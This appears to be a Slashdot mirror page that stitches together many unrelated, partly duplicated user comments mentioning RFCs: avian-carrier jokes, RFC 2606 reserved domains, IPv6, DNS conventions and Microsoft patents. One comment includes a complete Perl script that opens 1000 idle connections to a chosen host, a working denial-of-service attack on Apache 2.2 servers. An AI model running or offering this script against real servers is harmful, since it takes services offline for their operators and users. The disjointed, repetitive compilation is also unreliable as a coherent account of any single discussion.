Slashdot Mirror

Well, there is always RFC 1149

Yeah, yeah, I know, I'll be lynched for saying that Bill "I am Satan" Gates should be on par with RMS, ESR and Linus, but think about this for a second.

No, if you're lynched it'll be for trolling.

Microsoft brought desktop computing to the home user.

Really?

Now, be honest. How many of us had our first computer experience with MS-DOS or Windows 3.1?

It was actually an Apple ][e or something. I think this is also what the library had at first.

Would the Internet have blossomed into the vast information network it is today without the aid of easy-to-use software from Microsoft?

I kinda recall MicroSoft being dragged kicking and screaming into the online world, and I clearly recall that our Windows 3.1 couldn't get online without third-party networking stuff. The power and inevitability of the Internet is that it is open, which Microsoft has actually tried to work against.

How about Grandma who wants to set up a webcam so she can chat with her grandchildren? She doesn't want to have to sit and hack kernels for hours. She wants Plug-and-Play, baby.

And now that Vista and (I think) XP service pack 2 support USB Video Class, this has finally come to Windows (and of course it still works for the other OSes too). Before that, you had "IMPORTANT: Run this CD before attaching your new <perhipheral>" on Windows and either "it Just Works" or "apt-get install <driver-package>" on other OSes.

And, since you're too lazy to post links to DNSSEC howtos (like this one), you're not helping and only name calling. The issue is that there are 15 RFCs with DNSSEC in the title and no clear idea where to get started.

But, hey, this is Slashdot, where any idiot can get a lame name like "BitZream", and post insult anonymously.

No worries; I will email Dan and talk to him offline about it.

RFC2549 seems to be a perfect fit here.

HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.

If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

#!/usr/bin/env perl

use IO::Socket::INET;
use strict;
use constant DEFAULT_PORT => "http";

MAIN: {
if(@ARGV<1 or @ARGV>2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT_PORT;

my(@sockets);

for(my $cnt=0;$cnt<1000;++$cnt) {
my $socket=new IO::Socket::INET(PeerAddr=>$host,
PeerPort=>$port,
Proto=>"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket->print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}

Not quite as stealthy, though. At least as above.

Yea, this is actually specified by RFC 2606. example.com/.net/.org are all reserved as well as the TLDs .test, .example, .invalid, and .localhost. When I'm reading tech books with people not following this RFC it always jumps out at me as unprofessional.

They don't trust their birds.

Also don't forget to check out RFC 5513 - IANA Considerations for Three Letter Acronyms

The "Evil Bit" isn't a slashdot original, they were reporting on RFC 3514.

It would also be nice not to publish somebody elses email address, unless you are the owner of that xxxx address, best just use xxxx@example.com RFC 2606

They use a European implementation of an American technology.

What? Am I the only old-timer here? There's an RFC standard that fits this PERFECTLY
http://www.rfc-editor.org/rfc/rfc1149.txt
"1 April 1990: A Standard for the Transmission of IP Datagrams on Avian Carriers"

Thomas Dzubin

I apologize if this is a ridiculously simplistic question, but how do you have a LAN with IPv6? If I want to connect to my file server from my laptop now, I just use a local 192.x.x.x address now and it goes straight to my server. Is there something like that for IPv6 so that I don't have to go all the way out to the internet to get back to my file server? I'm assuming there is but I'm a novice when it comes to some of this networking stuff.

A Google search for "LAN over IPv6" turned up the following, but it's mostly a lot of technical jargon that I don't really understand:

http://www.rfc-editor.org/rfc/rfc2464.txt
http://www-uxsup.csx.cam.ac.uk/courses/ipv6_basics/x84.html

You're looking for RFC 1924: A Compact Representation of IPv6 Addresses, which uses base 85. Note the publication date.

Even without considering server name indication, it should be possible to activate TLS while indicating the virtual name by using the UPGRADE method in HTTP 1.1. That would require support in the web servers but not in the TLS suite (except for indicating which key to use).

The draft has been sitting there for 8 years, there really is no reason not to use SSL or TLS in every www connection.

And I agree with that in principle, but there's an RFC that dictates this sort of thing.

Well, there's always RFC 2606. But naming your Active Directory domain "mycompany.invalid" seems a bit harsh.

If it doesn't support RFCs RFC2549 and RFC1149 then you probably don't want it.

If you are having problems finding a standards-compliant device, these guys might be able to recommend one.

If it doesn't support RFCs RFC2549 and RFC1149 then you probably don't want it.

If you are having problems finding a standards-compliant device, these guys might be able to recommend one.

Dear Sir or Madam;
Your organization has been sending numerous email messages of a commercial nature to our organization in apparent error.
Many of these documents appear to contain sensitive or confidential information and this consumes valuable resources on our part to process these messages in a confidential manner.
Several Federal laws and regulations require level of client professional confidentiality such as SEC regulations and HIPPA.
Several Federal laws prohibit transmission of unsolicited commercial Emails such as the Junk Fax Act and the CAN-SPAM act, and allow for monetary compensation to injured parties.

Please enclose a check for $5,000.00 to cover our expenses and to insure we have sufficient resources to remove these messages in a confidential manner, and promise to not seek relief through litigation for messages received to date. If we do not receive your check within 90 days we will assume that these messages were sent to our organization as a gift and will do with them as we see fit.

In the future, you'll may find it more economical to study a document known as Request for Comments: 2606, Reserved Top Level DNS Names published by the Network Working Group if the Internet Engineering Task Force, RFC2006 recommends using the domain names invalid.com, or localhost. Using these domain names will keep your emails from being routed on the internet.
regards; Budgenator@example.com

While I can't find an MX record for example.com, there is an A record for it and a web page in accordance with http://www.rfc-editor.org/rfc/rfc2606.txt, so it's a poor choice for an email address that shouldn't go anywhere.

donotreply.invalid or example.com. These are reserved for just this sort of thing by RFC 2606.

In a similar manner, people wanting fake IP addresses to use for documentation, training, etc., should use addresses in the 192.0.2.0/24 range, which is reserved by RFC 3330.

donotreply.invalid or example.com. These are reserved for just this sort of thing by RFC 2606.

In a similar manner, people wanting fake IP addresses to use for documentation, training, etc., should use addresses in the 192.0.2.0/24 range, which is reserved by RFC 3330.

RFC 2606 (dated June 1999) solves this problem by defining reserved domains such as "example.com" (for use in documentation) and:

            ".invalid" is intended for use in online construction of domain
            names that are sure to be invalid and which it is obvious at a
            glance are invalid.

From The Jargon File:
hacker: A person who enjoys exploring the details of programmable systems and how to stretch their capabilities....
cracker: One who breaks security on a system.....
script kiddies: [very common] The lowest form of cracker....

From RFC 4949:

$ cracker
            (I) Someone who tries to break the security of, and gain
            unauthorized access to, someone else's system, often with
            malicious intent. (See: adversary, intruder, packet monkey, script
            kiddy. Compare: hacker.)
            Usage: Was sometimes spelled "kracker". [NCSSG]

$ hacker
            1. (I) Someone with a strong interest in computers, who enjoys
            learning about them, programming them, and experimenting and
            otherwise working with them. (See: hack. Compare: adversary,
            cracker, intruder.)
            Usage: This first definition is the original meaning of the term
            (circa 1960); it then had a neutral or positive connotation of
            "someone who figures things out and makes something cool happen".
            2. (O) "An individual who spends an inordinate amount of time
            working on computer systems for other than professional purposes."
            [NCSSG]
            3. (D) Synonym for "cracker".
            Deprecated Usage: Today, the term is frequently (mis)used
            (especially by journalists) with definition 3.

$ script kiddy
            (D) /slang/ A cracker who is able to use existing attack
            techniques (i.e., to read scripts) and execute existing attack
            software, but is unable to invent new exploits or manufacture the
            tools to perform them; pejoratively, an immature or novice
            cracker.
            Deprecated Term: It is likely that other cultures use different
            metaphors for this concept. Therefore, to avoid international
            misunderstanding, IDOCs SHOULD NOT use this term. (See: Deprecated
            Usage under "Green Book".)

Note that there is a precise definition of the terms MUST, SHOULD, MAY, SHOULD NOT and MUST NOT found in RFC 2119, which every W3C spec references (and in certain cases extend) for defining these terms. Look for any section or chapter using the word "Conformance". On should, it says:

SHOULD This word, or the adjective "RECOMMENDED", mean that there may exist valid reasons in particular circumstances to ignore a particular item, but the full implications must be understood and carefully weighed before choosing a different course.

I'm sorry, these examples are not valid because they are not RFC2606 compliant.

The sources are RFC 792, the ICMP protocol specification, and RFC 1812, IP v4 host requirements (especially section 5.2.7.1 relating to firewalls). Note that the TCP protocol specification isn't particularly relevant to a discussion of how the IP stack responds to a TCP not not being listening, since if the port isn't listening the TCP connection sequence never begins. A TCP RST presumes an existing connection to reset, which there can't be if there's nothing listening for a connection to be established with.

The sources are RFC 792, the ICMP protocol specification, and RFC 1812, IP v4 host requirements (especially section 5.2.7.1 relating to firewalls). Note that the TCP protocol specification isn't particularly relevant to a discussion of how the IP stack responds to a TCP not not being listening, since if the port isn't listening the TCP connection sequence never begins. A TCP RST presumes an existing connection to reset, which there can't be if there's nothing listening for a connection to be established with.

The rest of the responsibility is entirely that of the anti-virus writers.

Not true, as long as they are adhering to RFC 3514 then there won't be any issue. This is what we have standards for.

You know, sometimes the courts don't work. Sometimes they favor the entity with larger funds. For example, a woman who clearly never even possessed the software Kazaa was sued by Capitol records recently and lost a $222,000 judgment even though the only evidence they had was a screenshot of files she was serving through Kazaa. Some people would rather be a little poorer and covered rather than be right and bankrupt.

Microsoft does have a large patent portfolio. If you want to know which patents they will claim Linux infringes on, find a changelog from RedHat. For every new thing that shows up, add 2 - 3 months to the date, and look for Microsoft patents filed then. Yes, that screams prior art, but do you really think it would be hard for Microsoft to stuff a jury with people who don't understand prior art?

I mean, you did know that A method for allowing a software vendor to notify a user of a software update is disclosed is a Microsoft patent filed in 1998?

Microsoft didn't just make the SOAP specification, they filed a patent on it. Any SOAP using system (like Perl, PHP, Python, etc) would infringe on this patent.

I sure hope network transactions aren't optimized by offloading the work to the NIC in Linux or else they would run afoul of a MS patent.

Even Sun RPC isn't immune (and filed only 10 years late, according to RFC 1057).

Microsoft's patents are wrong, and immoral, and frequently violating prior art, but they do exist. So it does make sense from a business perspective for Novell sign an agreement with Microsoft to avoid a lawsuit which they may not win in spite of the law.

That said, I stopped using SuSE myself. I tend toward Fedora and Ubuntu these days.

Number of addresses on the net:
2^32 = 4 294 967 296

Info needed to white list an ip
1 bit

Size of a full white list:
2^32 bit = 512 megabytes

Number of Reserved IP addresses RFC3300:
(8 * (2^24)) + (4 * (2^16)) + (2^20) + (4 * (2^8)) + (2^15) + (2 * (2^28)) = 672 433 152

Number of bytes needed for a 1-to-1 white list
(2^32-672 433 152) / 8 = 430 megabytes

Bytes needed for a 64-to-1 white list
452 816 768 / 16 = 27 megabytes

if it passes the white list then don't send to google..

rfc1945 states:

HTTP has been in use by the World-Wide Web global information initiative since 1990

...so it would be pretty difficult for anyone to have been using it in the 1980s, wouldn't it?

The process of modifying standards is a bit more complex than that, but there is a process for change. You just have to become part of it rather than just picking and choosing which standards annoy you the least and then hoping that someone else will fix the ones that don't work the way you think they should.

The MUST/SHOULD/MAY terminology in RFCs is to indicate levels of compliance with a specification. If this were a specification, or even a BCP (Best Current Practice) RFC document, then this might make sense. But it is intended to be an Informational RFC, which has no weight as a standard whatsover. So MUST/SHOULD/MAY terminology is completely inappropriate (in case you're wondering, yes I have written quite a few RFCs).

This document is an individual submission at the moment. Anyone can submit such a document; this does not indicate any level of support by the wider IETF, let alone anyone else. If the IETF were to take this on, and make it a BCP, then the terminology would indicate levels of support, and you could legitimately claim that an organization that did not comply was not providing standards-compliant service. It's possible this could embarrass an organization, but somehow I doubt it. However, if there were such a document, it might be possible for national governments to legislate compliance. Only then would it have any significant impact, but I think legislation here is unlikely and probably inappropriate.

Likely what will happen is that the regional registries will run out of address space to allocate in approximately three years from now (this is the current best estimate from Geoff Huston, who probably knows more about this than anyone else). ISPs will find it hard to get addresses after that, and a market will naturally emerge. Basically address space will become expensive. Also, there will be incentive to disaggregate currently aggregated address space, so more organizations can multihome. This will cause increasing routing table explosion in routers, and cause ISPs to need to either filter route advertisements (breaking multihoming) or upgrade routers (requiring them to spend money). And increasingly larger organizations will start to use NATs, making all sorts of applications harder to set up than they need to be. When your home NAT is behind your ISP's NAT, I suspect lots of things will break really badly. Maybe eventually the pain will get great enough that the switchover starts to reach critical mass, and only then will organizations actually allocate budget to make it happen.

There is a lot to be said in favour of moving forward in a less chaotic way that this, but I'm skeptical about the likelihood of that actually happening.

Oh, after reading other comments, I guess they really are going for solving the high-bandwidth high-latency link problems. I didn't even consider that to be necessary since I thought that was pretty much solved and as such, "old news".

ftp://ftp.rfc-editor.org/in-notes/rfc3649.txt

ftp://ftp.rfc-editor.org/in-notes/rfc3742.txt

I guess this device works as some sort of wrapper so that legacy TCP implementations don't get slowdowns, but doesn't strike as anything revolutionary to me - the RFCs are from year 2003.

Oh, after reading other comments, I guess they really are going for solving the high-bandwidth high-latency link problems. I didn't even consider that to be necessary since I thought that was pretty much solved and as such, "old news".

ftp://ftp.rfc-editor.org/in-notes/rfc3649.txt

ftp://ftp.rfc-editor.org/in-notes/rfc3742.txt

I guess this device works as some sort of wrapper so that legacy TCP implementations don't get slowdowns, but doesn't strike as anything revolutionary to me - the RFCs are from year 2003.

This is a tactic spammers use with mail servers. It's rude, annoying and breaks the rules/protocol.

RFC 2920 is the SMTP extension for pipelining. Pipelining is a perfectly valid strategy to reduce the time it takes to send mail by reducing the number of round-trips.

What's rude is violating the RFC that says that certain round-trips are required and the spammers tend to violate those rules (such as asking if a message body can be sent before actually sending it, and waiting for the server's introduction message before the client introduces itself). Pipelining itself is actually quite good.

I won't comment on HTTP pipelining because someone else did already.

If you want to make a fake email without worrying about anyone ever receiving email because of it, RFC 2606 defines reserved domain names. Thinking about all the emails that have bounced after being sent to blowme@example.com just warms my heart.

Hah! Your double-bad! RFC 2606 says you're *supposed* to use example.com for examples! Time to check that your glasses have the correct prescription!

ORG - This domain is intended as the miscellaneous TLD for
                  organizations that didn't fit anywhere else. Some non-
                  government organizations may fit here.

This is about as good an idea as RFC 3514 describing the Evil Bit. Like 3514, it'll essentially guard you against unwitting interaction with the people you don't have to worry about unwitting interactions with. The bad guys will, of course, ignore the rules and hijack .safe names to host decidedly unsafe content. But we knew this.

Ah yes, handwaving. I wonder if they use IP over SFSS at all in this patent. ;)

Not an ISO standard. "Women attracted to male geeks" is fully covered by an RFC: RFC0026.

Fundamentally the DNS is about navigation. It's about helping users get where they are trying to go.

Fundamentally, the DNS is a distributed database.

I imagine that the word "navigation" was mostly used to refer to maritime traffic when the DNS was designed. Or maybe interstellar traffic, depending what these guys were watching on TV.

By the way, of particular interest to this discussion is section 2.3 of RFC 1035 :

The domain system has several conventions dealing with low-level, but fundamental, issues. While the implementor is free to violate these conventions WITHIN HIS OWN SYSTEM, he must observe these conventions in ALL behavior observed from other hosts.

OpenDNS is playing fair with its users since they voluntarily use the service. But an ISP whose resolvers lie to its clients ("other hosts") about the existence of a domain is certainly going against the spirit of this paragraph -- not to mention the principle of least astonishment.

Funny... the quote in my .sig is kind of relevant today.

I thought the Internet was a flock of birds, with or without quality of service enhancements.

I thought the Internet was a flock of birds, with or without quality of service enhancements.

Oh shut the fuck up and read the names on the RFCs the IETF puts out. Cisco contributes reguarly to protocol standardization. Several of the protocols you're bitching about have equivilant open standard alternatives that are fully supported in IOS. HSRP -> VRRP; isl -> 802.1q

examples:
ftp://ftp.rfc-editor.org/in-notes/rfc4456.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4364.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4062.txt
ftp://ftp.rfc-editor.org/in-notes/rfc3137.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4443.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4659.txt

Oh shut the fuck up and read the names on the RFCs the IETF puts out. Cisco contributes reguarly to protocol standardization. Several of the protocols you're bitching about have equivilant open standard alternatives that are fully supported in IOS. HSRP -> VRRP; isl -> 802.1q

examples:
ftp://ftp.rfc-editor.org/in-notes/rfc4456.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4364.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4062.txt
ftp://ftp.rfc-editor.org/in-notes/rfc3137.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4443.txt
ftp://ftp.rfc-editor.org/in-notes/rfc4659.txt